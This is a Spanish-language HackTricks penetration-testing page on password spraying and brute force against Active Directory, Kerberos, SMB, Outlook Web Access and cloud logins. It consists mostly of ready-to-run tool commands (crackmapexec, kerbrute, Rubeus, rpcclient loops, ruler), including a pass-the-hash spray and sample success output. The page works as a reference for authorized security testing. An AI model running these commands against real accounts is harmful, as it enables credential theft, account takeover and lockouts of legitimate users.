mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 13:56:22 +00:00
155 lines
8.2 KiB
Markdown
155 lines
8.2 KiB
Markdown
# Password Spraying / Fuerza Bruta
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
## **Password Spraying**
|
|
|
|
Una vez que hayas encontrado varios **nombres de usuario válidos**, puedes probar las **contraseñas más comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\
|
|
Por **defecto**, la **longitud mínima de la contraseña** es **7**.
|
|
|
|
Las listas de nombres de usuario comunes también podrían ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
|
|
|
Ten en cuenta que **podrías bloquear algunas cuentas si pruebas varias contraseñas incorrectas** (por defecto más de 10).
|
|
|
|
### Obtener la política de contraseñas
|
|
|
|
Si tienes algunas credenciales de usuario o un shell como usuario de dominio, puedes **obtener la política de contraseñas con**:
|
|
```bash
|
|
# From Linux
|
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
|
|
|
enum4linux -u 'username' -p 'password' -P <IP>
|
|
|
|
rpcclient -U "" -N 10.10.10.10;
|
|
rpcclient $>querydominfo
|
|
|
|
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
|
|
|
|
# From Windows
|
|
net accounts
|
|
|
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
|
```
|
|
### Explotación desde Linux (o cualquier sistema)
|
|
|
|
* Utilizando **crackmapexec:**
|
|
```bash
|
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|
# Local Auth Spray (once you found some local admin pass or hash)
|
|
## --local-auth flag indicate to only try 1 time per machine
|
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
|
```
|
|
* Utilizando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
|
```bash
|
|
# Password Spraying
|
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
|
# Brute-Force
|
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
|
```
|
|
* [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar bloqueos):**_
|
|
```bash
|
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
|
```
|
|
* Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO A VECES NO FUNCIONA
|
|
```bash
|
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
|
```
|
|
* Con el módulo `scanner/smb/smb_login` de **Metasploit**:
|
|
|
|
![](<../../.gitbook/assets/image (132) (1).png>)
|
|
|
|
* Utilizando **rpcclient**:
|
|
```bash
|
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
|
for u in $(cat users.txt); do
|
|
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
|
done
|
|
```
|
|
#### Desde Windows
|
|
|
|
* Con [Rubeus](https://github.com/Zer1t0/Rubeus) versión con módulo de fuerza bruta:
|
|
```bash
|
|
# with a list of users
|
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
|
|
|
# check passwords for all users in current domain
|
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
|
```
|
|
* Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio de forma predeterminada y obtendrá la política de contraseñas del dominio y limitará los intentos según esta):
|
|
```powershell
|
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|
```
|
|
* Con [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
|
```
|
|
Invoke-SprayEmptyPassword
|
|
```
|
|
## Fuerza bruta
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
|
```
|
|
{% endcode %}
|
|
|
|
## Acceso web de Outlook
|
|
|
|
Existen múltiples herramientas para realizar **ataques de rociado de contraseñas en Outlook**.
|
|
|
|
* Con [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
|
|
* con [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
|
|
* Con [Ruler](https://github.com/sensepost/ruler) (¡confiable!)
|
|
* Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
|
* Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
|
|
|
Para utilizar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para rociar.
|
|
```bash
|
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
|
[x] Failed: larsson:Summer2020
|
|
[x] Failed: cube0x0:Summer2020
|
|
[x] Failed: a.admin:Summer2020
|
|
[x] Failed: c.cube:Summer2020
|
|
[+] Success: s.svensson:Summer2020
|
|
```
|
|
## Google
|
|
|
|
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
|
|
|
|
## Okta
|
|
|
|
* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
|
|
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
|
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
|
|
|
## Referencias
|
|
|
|
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
|
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
|
* [www.blackhillsinfosec.com/?p=5296](www.blackhillsinfosec.com/?p=5296)
|
|
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|